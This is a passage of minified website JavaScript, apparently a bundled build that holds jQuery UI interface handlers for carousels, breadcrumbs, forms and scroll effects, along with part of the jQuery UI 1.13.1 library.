div").length<3&&$(".horizontal-scroll-container").css("overflow-x","hidden"),$(window).width()<800&&$(".compareCardsSlider").ready((function(){$(".compareCardsSlider").length>1&&(sessionStorage.getItem("reload")?sessionStorage.getItem("reload")&&sessionStorage.removeItem("reload"):(sessionStorage.setItem("reload",!0),window.location.reload()),$(".compare-responsive-arrange").removeClass("compare-responsive-arrange"))}))}))},80968:()=>{const e=".JS-align-carousel-simple",t=function(){const e=$(this);this.scrollWidth<=e.width()?e.css({display:"flex","justify-content":"center"}):e.css({display:"","justify-content":""})},i=function(){$(e).each(t)};$(document).ready((function(){setTimeout((function(){i()}),1e3)})),$(window).on("resize",i),$(document).on("alignCarousel",e,t)},23502:()=>{$(document).on("click",".JS-scroll-to-top",(function(){$("html,body").animate({scrollTop:0},500,"swing")})),$(document).on("click",".JS-scroll-to",(function(){const e=$(this).data("scroll-target-id");$("html,body").animate({scrollTop:$("#".concat(e)).offset().top},500,"swing")}))},59959:()=>{const e=[0,133,266];let t;const i=()=>{const i=(()=>{const e=$(window).width();return e>1280?"xl":e>1024?"lg":e>768?"md":e>374?"xs":"xxs"})();i!==t&&(t=i,$(".JS-aos-row").each((function(){const t=$(this).children();let i=0,n=-1;t.each((function(){const t=$(this);if(t.is(":visible")){const{left:r}=t.offset();r<=i?n=0:n+=1,t.attr("data-aos-delay",e[n]),i=r}}))})))};$(document).ready(i),$(window).on("resize",i)},8306:()=>{document.addEventListener("scroll",(function(e){const t=window.pageYOffset||document.documentElement.scrollTop,i=t+window.innerHeight,n=$("#grouping-separator").attr("data-grouping-separator");$(".JS-aos-counter").each((function(){const e=$(this);if(i>e.offset().top){e.removeClass("JS-aos-counter");let i=e.attr("data-counter-to");const r=i;i=i.replace(n,"");const s=i.match(/\D/g);null!=s&&(i=i.split(s[0])[0]);const a=e.attr("data-counter-duration"),o=e.attr("data-counter-round-level")||0;$({countNum:e.text()}).animate({countNum:i},{duration:Number(a),easing:"swing",step(){if(e.offset().top>t){const t=parseFloat(this.countNum).toFixed(o);e.num!==t&&(e.num=t,e.text(t))}},complete(){e.text(r)}})}}))}),!0)},95947:()=>{$(document).ready((()=>{let e=$(".JS-country-dropdown");if(!e)return;let t=e.data("current-country"),i=$("li.dropdown-countries");i.each(((e,i)=>{let n=$(i),r=n.data("country");r&&t&&t.toLowerCase()===r.toLowerCase()&&(n.children().removeAttr("href"),n.children().attr("role","button"),n.children().attr("aria-label","Current selected country"),n.children().css("cursor","default"),n.css("opacity","0.9"))})),$("#countrySearch").on("click",(function(e){$("#footerCountrySearch").addClass("open");let t=e.target.value;t&&i.each(((e,i)=>{let n=$(i);-1===n.data("title").toLowerCase().indexOf(t.toLowerCase())?n.css("display","none"):n.css("display","")}))}))})),$(document).click((function(){$("#footerCountrySearch").removeClass("open")})),$(document).on("keyup",(function(e){27===e.keyCode&&$("#footerCountrySearch").removeClass("open")})),$("#footerCountrySearch").click((function(e){e.stopPropagation()}))},35593:()=>{let e,t;const i=[];function n(){const n=$(".JS-breadcrumbs").children(),r=$(window).width(),s=e>r,a=n.find(".JS-breadcrumbs-dots"),o=n.find(".JS-breadcrumbs-middle");if(o.css({display:""}),!s)return void a.css({display:""});a.css({display:"inline-block"}),$(o[0]).css({display:"none"});let l=t;for(let e=1;e<o.length;e+=1){if(l<r)return;l-=i[e],$(o[e]).css({display:"none"})}}const r=()=>{const n=$(".JS-breadcrumbs").children();e=n.width()+34,i.length=0,n.find(".JS-breadcrumbs-middle").each((function(){i.push($(this).width())})),t=e+40-i[0]};$(document).ready((function(){r(),n()})),$(window).on("resize",n)},79612:()=>{function e(e){const t=e.data("toggle-group-target-id"),i=$("#".concat(t));i.parent().children().removeClass("active"),i.addClass("active")}$(document).on("click",".JS-button-toggle-group",(function(){e($(this))})),$(document).on("keypress",".JS-input-enter-toggle-group",(function(t){13===t.which&&e($(this))}))},2609:()=>{const e=".JS-carousel",t=".JS-carousel-not-drag-label",i=".JS-drag-label-zone";let n,r;function s(){n.init=!0,$("#drag-label").css({transform:"scale(0)"})}$(document).on("mousedown",e,(function(e){e.preventDefault(),n=this,this.startX=e.originalEvent.pageX,r=1,s(),this.wrapX=$(this).scrollLeft(),$(this).stop()})),$(e).scroll((function(){this.init||s()})),$(document).on("mousemove",(function(e){if(r){e.preventDefault();const t=e.originalEvent.pageX,i=n.wrapX+n.startX-t;$(n).scrollLeft(i)}})),$(document).on("mouseup",(function(){r&&(r=0)})),$(document).on("touchstart",e,(function(){n=this})),$(document).on("mouseenter",e,(function(){n=this,this.scrollWidth>$(this).width()?$(this).css({cursor:"grab"}):$(this).css({cursor:"unset"})})),$(document).on("mouseenter",i,(function(e){const t=$(e.target).closest(".video-js").length>=1;if(!this.init&&this.scrollWidth>$(this).width()&&!t){const t=$(this).data("drag-label-z-index")||50;$("#drag-label-wrapper").css({"z-index":t}),$("#drag-label").css({transform:"scale(1)"}),$("#drag-label-wrapper").css({transform:"translate3d(".concat(e.pageX,"px, ").concat(e.pageY,"px, 0px)")})}})),$(document).on("mousemove",i,(function(e){$("#drag-label-wrapper").css({transform:"translate3d(".concat(e.pageX,"px, ").concat(e.pageY,"px, 0px)")})})),$(document).on("mouseleave",i,(function(){this.init||$("#drag-label").css({transform:"scale(0)"})})),$(document).on("mouseenter",t,(function(){n.init||$("#drag-label").css({transform:"scale(0)"})})),$(document).on("mouseleave",t,(function(){!n.init&&n.scrollWidth>$(n).width()&&$("#drag-label").css({transform:"scale(1)"})})),window.matchMedia("(max-width: 768px)").matches&&$(document).ready((function(){$(".slide__productCard").slick({infinite:!1,mobileFirst:!0,prevArrow:'<button aria-label="previous" class="slide-prev"></button>',nextArrow:'<button aria-label="next" class="slide-next"></button>',slidesToShow:2,slidesToScroll:1})}))},94302:()=>{$(document).on("click",".JS-checkbox-button",(function(){const e=$(this).prev();e.prop("checked",!e.prop("checked")),e.trigger("change")}))},71215:()=>{const e="#message-clear-all";$(document).on("click",".JS-clear-all-button",(function(){$(e).addClass("active")})),$(document).on("click",".JS-clear-all-button-close",(function(){$(e).removeClass("active")}))},86811:()=>{const e=e=>{e.hasClass("open")?(e.css("max-height","".concat(e[0].scrollHeight,"px")),setTimeout((()=>e.css("max-height",0)),10),setTimeout((()=>e.css("max-height","")),500),setTimeout((()=>e.css("opacity",0)),200),e.toggleClass("open")):((e=>{const t=$(".ContentToggle__faq.open");$.each(t,((i,n)=>{$(n).is(e.parent(".ContentToggle__faq").first())||($(n).removeClass("open"),t.length&&$(".ContentToggle__content.open").first().removeClass("open"))}))})(e),e.css("max-height","".concat(e[0].scrollHeight,"px")),setTimeout((()=>e.css("max-height","")),500),setTimeout((()=>e.css("opacity",1))),setTimeout((()=>e.css("display","block"))),setTimeout((()=>e.css("transition","all 0.5s ease"))),e.toggleClass("open"),$(".ContentToggle__faq").length>0&&$(document.documentElement,document.body).animate({scrollTop:e.parent(".ContentToggle__faq").last().offset().top-120},0))};$(document).on("click",".JS-collapse-button",(function(){const t=$(this).data("collapse-target-id");if(t)return void e($("#".concat(t)));const i=$(this).data("collapse-target-class")||"collapsible",n=".".concat(i);$(this).parents().each((function(){if($(this).hasClass(i))return e($(this)),!1;const t=$(this).children(n);return 0===t.length||(e($(t[0])),!1)}))}))},96948:()=>{$((function(e){e(".ac-lazy").lazy({attribute:"data-img",enableThrottle:!0,throttle:250,visibleOnly:!0})}))},75459:()=>{$(document).ready((()=>{$(".JS-double-scroll").scroll((function(){const e=$(this).data("double-scroll-id");$("#".concat(e)).scrollLeft($(this).scrollLeft())}))}))},89573:()=>{$(document).ready((()=>{$(".JS-add-fake-elements").each((function(){const e=$(this).data("fake-element"),t=$(this).data("fake-elements-count");for(let i=0;i<t;i+=1)$(this).append(e)}))}))},48161:()=>{const e=()=>{(window.pageYOffset||document.documentElement.scrollTop)>0?$(".JS-listen-scroll").addClass("scrolled"):$(".JS-listen-scroll").removeClass("scrolled")};$(document).ready(e),window.addEventListener("scroll",e)},58402:()=>{$(document).on("click",".JS-focus-button",(function(){const e=$(this).data("focus-target-id");e&&$("#".concat(e)).focus()}))},41783:()=>{$(document).on("change",".JS-form",(function(){$(this).find(".JS-form-buttons").addClass("open")})),$(document).on("reset",".JS-form",(function(){$(this).find(".JS-range-slider").each((function(){$(this).data("ionRangeSlider").reset()})),$(this).find(".JS-form-buttons").removeClass("open")}))},25396:()=>{$(document).on("click",".JS-show-message",(e=>{$(".JS-feedback-overlay").show();let t=$(e.currentTarget).closest(".JS-feedback-block");t&&t.hide()}))},76100:()=>{$(document).on("click",".JS-hero-banner-link",(function(e){const t=$(e.target),i=t.closest(".JS-hero-banner-link"),n=t.closest(".calltoaction"),r=i.data("linkHref"),s=i.data("linkMobileHref");if(!r&&!s)return;if(n.length>0)return;const a=$(document).width();a<=768&&s&&(window.location.href=s),a>768&&r&&(window.location.href=r)}))},4806:()=>{const e=function(e,t){const i=$(t)[0];e.appendChild(i)},t=function(e,t){const i=".JS-over-modal#"+t;$(i).addClass("open"),$(i+" .JS-truncate").trigger("truncate"),$(".JS-modal.modal.open .JS-blur-content").addClass("blur")};$("#imageMap").length>0&&function(){if(window.imageMapPanoramaViewer)return void imageMapPanoramaViewer.resize();const i=function(){const i=$(".JS-image-map-point"),n=[];return i.each((function(){const i=$(this),r=i.data("point-pitch"),s=i.data("point-yaw"),a=i.data("targetId"),o={pitch:r,yaw:s,createTooltipFunc:e,createTooltipArgs:"#"+a,clickHandlerFunc:t,clickHandlerArgs:"modal-"+a};n.push(o)})),n}(),n=function(){const e=$("#imageMap");return{pitch:e.data("image-map-pitch")||0,yaw:e.data("image-map-yaw")||0,panorama:e.data("image-map-panorama"),backUrl:e.data("back-url")}}();var r;r=n.backUrl,$(".JS-navigate-back").on("click",(function(){history.back(),setTimeout((function(){window.location.replace(r)}),200)})),window.imageMapPanoramaViewer=pannellum.viewer("imageMap",{type:"equirectangular",panorama:n.panorama,showControls:!1,autoLoad:!0,pitch:n.pitch,yaw:n.yaw,hotSpots:i})}()},22626:()=>{$((function(e){const t=".JS-carousel-slide-image",i=".Carousel3d__slideWrapper";"ontouchstart"in document.documentElement||e(".JS-view-more").click((function(){e(i).find(".zoomImg").length||e(i).zoom({onZoomIn:function(){e(this).parent().find(t).hide(),e(this).parent().prev().hide(),e(this).parent().next().hide(),void 0===e(this).parent().prev().find(t).attr("alt")&&e(i).last().find(t).hide(),void 0===e(this).parent().next().find(t).attr("alt")&&e(i).first().find(t).hide()},onZoomOut:function(){e(this).parent().find(t).show(),e(this).parent().prev().show(),e(this).parent().next().show(),void 0===e(this).parent().prev().find(t).attr("alt")&&e(i).last().find(t).show(),void 0===e(this).parent().next().find(t).attr("alt")&&e(i).first().find(t).show()},on:"click",magnify:.8})}))}))},10481:()=>{const e=".JS-input-text",t=".JS-input-text .JS-input-selector",i=".JS-input-selector";$(document).on("click",e,(function(){const e=$(this);e.addClass("focus"),e.find(i).focus()})),$(document).on("click",".JS-clear-input",(function(){const e=$(this).data("clear-input-id");$("#".concat(e)).val("")})),$(document).on("focus",t,(function(){$(this).closest(e).addClass("focus")})),$(document).on("blur",t,(function(){const t=$(this);""===t.val()&&t.closest(e).removeClass("focus")})),$(document).on("change",t,(function(){const t=$(this),i=t.closest(e);t.val()?i.addClass("required"):i.removeClass("required")})),$(document).on("change",".JS-input-set-input",(function(){const e=$(this),t=e.data("set-input-id");$("#".concat(t)).val(e.val())})),$(document).on("input",".JS-input-limit .JS-input-selector",(function(){const e=$(this);e.parent().find(".counterCurrent").html(e.val().length)})),$(document).ready((function(){$(".JS-input-limit").each((function(){const e=$(this),t=e.data("input-limit");e.find(i).attr("maxlength",t);const n='<div class="counter"><span class="counterCurrent">0</span>&nbsp;/&nbsp;<span class="counterLimit">'+t+"</span></div>";e.find(".JS-input-field").append(n)}))}))},75432:()=>{$(document).on("click",".JS-input-select .JS-option-selector",(function(){const e=$(this),t=Number(e.data("option-position")),i=e.data("option-value"),n=e.parent();n.find(".JS-input-selector").val(i.toString()),n.children().each((function(e,i){e+1>t?$(i).removeClass("active"):$(i).addClass("active")}))}))},69462:(e,t,i)=>{var n,r,s;!function(a){"use strict";r=[i(19755)],n=function(e){e.ui=e.ui||{},e.ui.version="1.13.1";var t,i,n,r,s,a,o,l,u,c,d=0,h=Array.prototype.hasOwnProperty,p=Array.prototype.slice;function f(e,t,i){return[parseFloat(e[0])*(u.test(e[0])?t/100:1),parseFloat(e[1])*(u.test(e[1])?i/100:1)]}function m(t,i){return parseInt(e.css(t,i),10)||0}function g(e){return null!=e&&e===e.window}e.cleanData=(t=e.cleanData,function(i){for(var n,r,s=0;null!=(r=i[s]);s++)(n=e._data(r,"events"))&&n.remove&&e(r).triggerHandler("remove");t(i)}),e.widget=function(t,i,n){var r,s,a,o={},l=t.split(".")[0],u=l+"-"+(t=t.split(".")[1]);return n||(n=i,i=e.Widget),Array.isArray(n)&&(n=e.extend.apply(null,[{}].concat(n))),e.expr.pseudos[u.toLowerCase()]=function(t){return!!e.data(t,u)},e[l]=e[l]||{},r=e[l][t],s=e[l][t]=function(e,t){if(!this||!this._createWidget)return new s(e,t);arguments.length&&this._createWidget(e,t)},e.extend(s,r,{version:n.version,_proto:e.extend({},n),_childConstructors:[]}),(a=new i).options=e.widget.extend({},a.options),e.each(n,(function(e,t){function n(){return i.prototype[e].apply(this,arguments)}function r(t){return i.prototype[e].apply(this,t)}o[e]="function"==typeof t?function(){var e,i=this._super,s=this._superApply;return this._super=n,this._superApply=r,e=t.apply(this,arguments),this._super=i,this._superApply=s,e}:t})),s.prototype=e.widget.extend(a,{widgetEventPrefix:r&&a.widgetEventPrefix||t},o,{constructor:s,namespace:l,widgetName:t,widgetFullName:u}),r?(e.each(r._childConstructors,(function(t,i){var n=i.prototype;e.widget(n.namespace+"."+n.widgetName,s,i._proto)})),delete r._childConstructors):i._childConstructors.push(s),e.widget.bridge(t,s),s},e.widget.extend=function(t){for(var i,n,r=p.call(arguments,1),s=0,a=r.length;s<a;s++)for(i in r[s])n=r[s][i],h.call(r[s],i)&&void 0!==n&&(e.isPlainObject(n)?t[i]=e.isPlainObject(t[i])?e.widget.extend({},t[i],n):e.widget.extend({},n):t[i]=n);return t},e.widget.bridge=function(t,i){var n=i.prototype.widgetFullName||t;e.fn[t]=function(r){var s="string"==typeof r,a=p.call(arguments,1),o=this;return s?this.length||"instance"!==r?this.each((function(){var i,s=e.data(this,n);return"instance"===r?(o=s,!1):s?"function"!=typeof s[r]||"_"===r.charAt(0)?e.error("no such method '"+r+"' for "+t+" widget instance"):(i=s[r].apply(s,a))!==s&&void 0!==i?(o=i&&i.jquery?o.pushStack(i.get()):i,!1):void 0:e.error("cannot call methods on "+t+" prior to initialization; attempted to call method '"+r+"'")})):o=void 0:(a.length&&(r=e.widget.extend.apply(null,[r].concat(a))),this.each((function(){var t=e.data(this,n);t?(t.option(r||{}),t._init&&t._init()):e.data(this,n,new i(r,this))}))),o}},e.Widget=function(){},e.Widget._childConstructors=[],e.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(t,i){i=e(i||this.defaultElement||this)[0],this.element=e(i),this.uuid=d++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=e(),this.hoverable=e(),this.focusable=e(),this.classesElementLookup={},i!==this&&(e.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===i&&this.destroy()}}),this.document=e(i.style?i.ownerDocument:i.document||i),this.window=e(this.document[0].defaultView||this.document[0].parentWindow)),this.options=e.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:e.noop,_create:e.noop,_init:e.noop,destroy:function(){var t=this;this._destroy(),e.each(this.classesElementLookup,(function(e,i){t._removeClass(i,e)})),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:e.noop,widget:function(){return this.element},option:function(t,i){var n,r,s,a=t;if(0===arguments.length)return e.widget.extend({},this.options);if("string"==typeof t)if(a={},t=(n=t.split(".")).shift(),n.length){for(r=a[t]=e.widget.extend({},this.options[t]),s=0;s<n.length-1;s++)r[n[s]]=r[n[s]]||{},r=r[n[s]];if(t=n.pop(),1===arguments.length)return void 0===r[t]?null:r[t];r[t]=i}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];a[t]=i}return this._setOptions(a),this},_setOptions:function(e){for(var t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return"classes"===e&&this._setOptionClasses(t),this.options[e]=t,"disabled"===e&&this._setOptionDisabled(t),this},_setOptionClasses:function(t){var i,n,r;for(i in t)r=this.classesElementLookup[i],t[i]!==this.options.classes[i]&&r&&r.length&&(n=e(r.get()),this._removeClass(r,i),n.addClass(this._classes({element:n,keys:i,classes:t,add:!0})))},_setOptionDisabled:function(e){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!e),e&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(t){var i=[],n=this;function r(r,s){for(var a,o=0;o<r.length;o++)a=n.classesElementLookup[r[o]]||e(),a=t.add?(function(){var i=[];t.element.each((function(t,r){e.map(n.classesElementLookup,(function(e){return e})).some((function(e){return e.is(r)}))||i.push(r)})),n._on(e(i),{remove:"_untrackClassesElement"})}(),e(e.uniqueSort(a.get().concat(t.element.get())))):e(a.not(t.element).get()),n.classesElementLookup[r[o]]=a,i.push(r[o]),s&&t.classes[r[o]]&&i.push(t.classes[r[o]])}return(t=e.extend({element:this.element,classes:this.options.classes||{}},t)).keys&&r(t.keys.match(/\S+/g)||[],!0),t.extra&&r(t.extra.match(/\S+/g)||[]),i.join(" ")},_untrackClassesElement:function(t){var i=this;e.each(i.classesElementLookup,(function(n,r){-1!==e.inArray(t.target,r)&&(i.classesElementLookup[n]=e(r.not(t.target).get()))})),this._off(e(t.target))},_removeClass:function(e,t,i){return this._toggleClass(e,t,i,!1)},_addClass:function(e,t,i){return this._toggleClass(e,t,i,!0)},_toggleClass:function(e,t,i,n){var r="string"==typeof e||null===e;return(i={extra:r?t:i,keys:r?e:t,element:r?this.element:e,add:n="boolean"==typeof n?n:i}).element.toggleClass(this._classes(i),n),this},_on:function(t,i,n){var r,s=this;"boolean"!=typeof t&&(n=i,i=t,t=!1),n?(i=r=e(i),this.bindings=this.bindings.add(i)):(n=i,i=this.element,r=this.widget()),e.each(n,(function(n,a){function o(){if(t||!0!==s.options.disabled&&!e(this).hasClass("ui-state-disabled"))return("string"==typeof a?s[a]:a).apply(s,arguments)}var l;"string"!=typeof a&&(o.guid=a.guid=a.guid||o.guid||e.guid++),n=(l=n.match(/^([\w:-]*)\s*(.*)$/))[1]+s.eventNamespace,(l=l[2])?r.on(n,l,o):i.on(n,o)}))},_off:function(t,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.off(i),this.bindings=e(this.bindings.not(t).get()),this.focusable=e(this.focusable.not(t).get()),this.hoverable=e(this.hoverable.not(t).get())},_delay:function(e,t){var i=this;return setTimeout((function(){return("string"==typeof e?i[e]:e).apply(i,arguments)}),t||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){this._addClass(e(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){this._addClass(e(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(e(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,i,n){var r,s,a=this.options[t];if(n=n||{},(i=e.Event(i)).type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),i.target=this.element[0],s=i.originalEvent)for(r in s)r in i||(i[r]=s[r]);return this.element.trigger(i,n),!("function"==typeof a&&!1===a.apply(this.element[0],[i].concat(n))||i.isDefaultPrevented())}},e.each({show:"fadeIn",hide:"fadeOut"},(function(t,i){e.Widget.prototype["_"+t]=function(n,r,s){var a,o=(r="string"==typeof r?{effect:r}:r)?!0!==r&&"number"!=typeof r&&r.effect||i:t;"number"==typeof(r=r||{})?r={duration:r}:!0===r&&(r={}),a=!e.isEmptyObject(r),r.complete=s,r.delay&&n.delay(r.delay),a&&e.effects&&e.effects.effect[o]?n[t](r):o!==t&&n[o]?n[o](r.duration,r.easing,s):n.queue((function(i){e(this)[t](),s&&s.call(n[0]),i()}))}})),e.widget,n=Math.max,r=Math.abs,s=/left|center|right/,a=/top|center|bottom/,o=/[\+\-]\d+(\.[\d]+)?%?/,l=/^\w+/,u=/%$/,c=e.fn.position,e.position={scrollbarWidth:function(){if(void 0!==i)return i;var t,n=e("<div style='display:block;position:absolute;width:200px;height:200px;overflow:hidden;'><div style='height:300px;width:auto;'></div></div>"),r=n.children()[0];return e("body").append(n),t=r.offsetWidth,n.css("overflow","scroll"),t===(r=r.offsetWidth)&&(r=n[0].clientWidth),n.remove(),i=t-r},getScrollInfo:function(t){var i=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),n=t.isWindow||t.isDocument?"":t.element.css("overflow-y");return i="scroll"===i||"auto"===i&&t.width<t.element[0].scrollWidth,{width:"scroll"===n||"auto"===n&&t.height<t.element[0].scrollHeight?e.position.scrollbarWidth():0,height:i?e.position.scrollbarWidth():0}},getWithinInfo:function(t){var i=e(t||window),n=g(i[0]),r=!!i[0]&&9===i[0].nodeType;return{element:i,isWindow:n,isDocument:r,offset:n||r?{left:0,top:0}:e(t).offset(),scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:i.outerWidth(),height:i.outerHeight()}}},e.fn.position=function(t){if(!t||!t.of)return c.apply(this,arguments);var i,u,d,h,p,_,v="string"==typeof(t=e.extend({},t)).of?e(document).find(t.of):e(t.of),y=e.position.getWithinInfo(t.within),b=e.position.getScrollInfo(y),w=(t.collision||"flip").split(" "),T={},k=9===(_=(k=v)[0]).nodeType?{width:k.width(),height:k.height(),offset:{top:0,left:0}}:g(_)?{width:k.width(),height:k.height(),offset:{top:k.scrollTop(),left:k.scrollLeft()}}:_.preventDefault?{width:0,height:0,offset:{top:_.pageY,left:_.pageX}}:{width:k.outerWidth(),height:k.outerHeight(),offset:k.offset()};return v[0].preventDefault&&(t.at="left top"),u=k.width,d=k.height,p=e.extend({},h=k.offset),e.each(["my","at"],(function(){var e,i,n=(t[this]||"").split(" ");(n=1===n.length?s.test(n[0])?n.concat(["center"]):a.test(n[0])?["center"].concat(n):["center","center"]:n)[0]=s.test(n[0])?n[0]:"center",n[1]=a.test(n[1])?n[1]:"center",e=o.exec(n[0]),i=o.exec(n[1]),T[this]=[e?e[0]:0,i?i[0]:0],t[this]=[l.exec(n[0])[0],l.exec(n[1])[0]]})),1===w.length&&(w[1]=w[0]),"right"===t.at[0]?p.left+=u:"center"===t.at[0]&&(p.left+=u/2),"bottom"===t.at[1]?p.top+=d:"center"===t.at[1]&&(p.top+=d/2),i=f(T.at,u,d),p.left+=i[0],p.top+=i[1],this.each((function(){var s,a,o=e(this),l=o.outerWidth(),c=o.outerHeight(),g=m(this,"marginLeft"),_=m(this,"marginTop"),k=l+g+m(this,"marginRight")+b.width,S=c+_+m(this,"marginBottom")+b.height,M=e.extend({},p),x=f(T.my,o.outerWidth(),o.outerHeight());"right"===t.my[0]?M.left-=l:"center"===t.my[0]&&(M.left-=l/2),"bottom"===t.my[1]?M.top-=c:"center"===t.my[1]&&(M.top-=c/2),M.left+=x[0],M.top+=x[1],s={marginLeft:g,marginTop:_},e.each(["left","top"],(function(n,r){e.ui.position[w[n]]&&e.ui.position[w[n]][r](M,{targetWidth:u,targetHeight:d,elemWidth:l,elemHeight:c,collisionPosition:s,collisionWidth:k,collisionHeight:S,offset:[i[0]+x[0],i[1]+x[1]],my:t.my,at:t.at,within:y,elem:o})})),t.using&&(a=function(e){var i=h.left-M.left,s=i+u-l,a=h.top-M.top,p=a+d-c,f={target:{element:v,left:h.left,top:h.top,width:u,height:d},element:{element:o,left:M.left,top:M.top,width:l,height:c},horizontal:s<0?"left":0<i?"right":"center",vertical:p<0?"top":0<a?"bottom":"middle"};u<l&&r(i+s)<u&&(f.horizontal="center"),d<c&&r(a+p)<d&&(f.vertical="middle"),n(r(i),r(s))>n(r(a),r(p))?f.important="horizontal":f.important="vertical",t.using.call(this,e,f)}),o.offset(e.extend(M,{using:a}))}))},e.ui.position={fit:{left:function(e,t){var i=t.within,r=i.isWindow?i.scrollLeft:i.offset.left,s=i.width,a=e.left-t.collisionPosition.marginLeft,o=r-a,l=a+t.collisionWidth-s-r;t.collisionWidth>s?0<o&&l<=0?(i=e.left+o+t.collisionWidth-s-r,e.left+=o-i):e.left=!(0<l&&o<=0)&&l<o?r+s-t.collisionWidth:r:0<o?e.left+=o:0<l?e.left-=l:e.left=n(e.left-a,e.left)},top:function(e,t){var i=t.within,r=i.isWindow?i.scrollTop:i.offset.top,s=t.within.height,a=e.top-t.collisionPosition.marginTop,o=r-a,l=a+t.collisionHeight-s-r;t.collisionHeight>s?0<o&&l<=0?(i=e.top+o+t.collisionHeight-s-r,e.top+=o-i):e.top=!(0<l&&o<=0)&&l<o?r+s-t.collisionHeight:r:0<o?e.top+=o:0<l?e.top-=l:e.top=n(e.top-a,e.top)}},flip:{left:function(e,t){var i=(u=t.within).offset.left+u.scrollLeft,n=u.width,s=u.isWindow?u.scrollLeft:u.offset.left,a=(c=e.left-t.collisionPosition.marginLeft)-s,o=c+t.collisionWidth-n-s,l="left"===t.my[0]?-t.elemWidth:"right"===t.my[0]?t.elemWidth:0,u="left"===t.at[0]?t.targetWidth:"right"===t.at[0]?-t.targetWidth:0,c=-2*t.offset[0];a<0?((i=e.left+l+u+c+t.collisionWidth-n-i)<0||i<r(a))&&(e.left+=l+u+c):0<o&&(0<(s=e.left-t.collisionPosition.marginLeft+l+u+c-s)||r(s)<o)&&(e.left+=l+u+c)},top:function(e,t){var i=(u=t.within).offset.top+u.scrollTop,n=u.height,s=u.isWindow?u.scrollTop:u.offset.top,a=(c=e.top-t.collisionPosition.marginTop)-s,o=c+t.collisionHeight-n-s,l="top"===t.my[1]?-t.elemHeight:"bottom"===t.my[1]?t.elemHeight:0,u="top"===t.at[1]?t.targetHeight:"bottom"===t.at[1]?-t.targetHeight:0,c=-2*t.offset[1];a<0?((i=e.top+l+u+c+t.collisionHeight-n-i)<0||i<r(a))&&(e.top+=l+u+c):0<o&&(0<(s=e.top-t.collisionPosition.marginTop+l+u+c-s)||r(s)<o)&&(e.top+=l+u+c)}},flipfit:{left:function(){e.ui.position.flip.left.apply(this,arguments),e.ui.position.fit.left.apply(this,arguments)},top:function(){e.ui.position.flip.top.apply(this,arguments),e.ui.position.fit.top.apply(this,arguments)}}},e.ui.position,e.extend(e.expr.pseudos,{data:e.expr.createPseudo?e.expr.createPseudo((function(t){return function(i){return!!e.data(i,t)}})):function(t,i,n){return!!e.data(t,n[3])}}),e.fn.extend({disableSelection:(_="onselectstart"in document.createElement("div")?"selectstart":"mousedown",function(){return this.on(_+".ui-disableSelection",(function(e){e.preventDefault()}))}),enableSelection:function(){return this.off(".ui-disableSelection")}});var _,v=e,y={},b=y.toString,w=/^([\-+])=\s*(\d+\.?\d*)/,T=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(e){return[e[1],e[2],e[3],e[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(e){return[2.55*e[1],2.55*e[2],2.55*e[3],e[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})?/,parse:function(e){return[parseInt(e[1],16),parseInt(e[2],16),parseInt(e[3],16),e[4]?(parseInt(e[4],16)/255).toFixed(2):1]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])([a-f0-9])?/,parse:function(e){return[parseInt(e[1]+e[1],16),parseInt(e[2]+e[2],16),parseInt(e[3]+e[3],16),e[4]?(parseInt(e[4]+e[4],16)/255).toFixed(2):1]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(e){return[e[1],e[2]/100,e[3]/100,e[4]]}}],k=v.Color=function(e,t,i,n){return new v.Color.fn.parse(e,t,i,n)},S={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},M={byte:{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},x=k.support={},L=v("<p>")[0],C=v.each;function D(e){return null==e?e+"":"object"==typeof e?y[b.call(e)]||"object":typeof e}function E(e,t,i){var n=M[t.type]||{};return null==e?i||!t.def?null:t.def:(e=n.floor?~~e:parseFloat(e),isNaN(e)?t.def:n.mod?(e+n.mod)%n.mod:Math.min(n.max,Math.max(0,e)))}function P(e){var t=k(),i=t._rgba=[];return e=e.toLowerCase(),C(T,(function(n,r){var 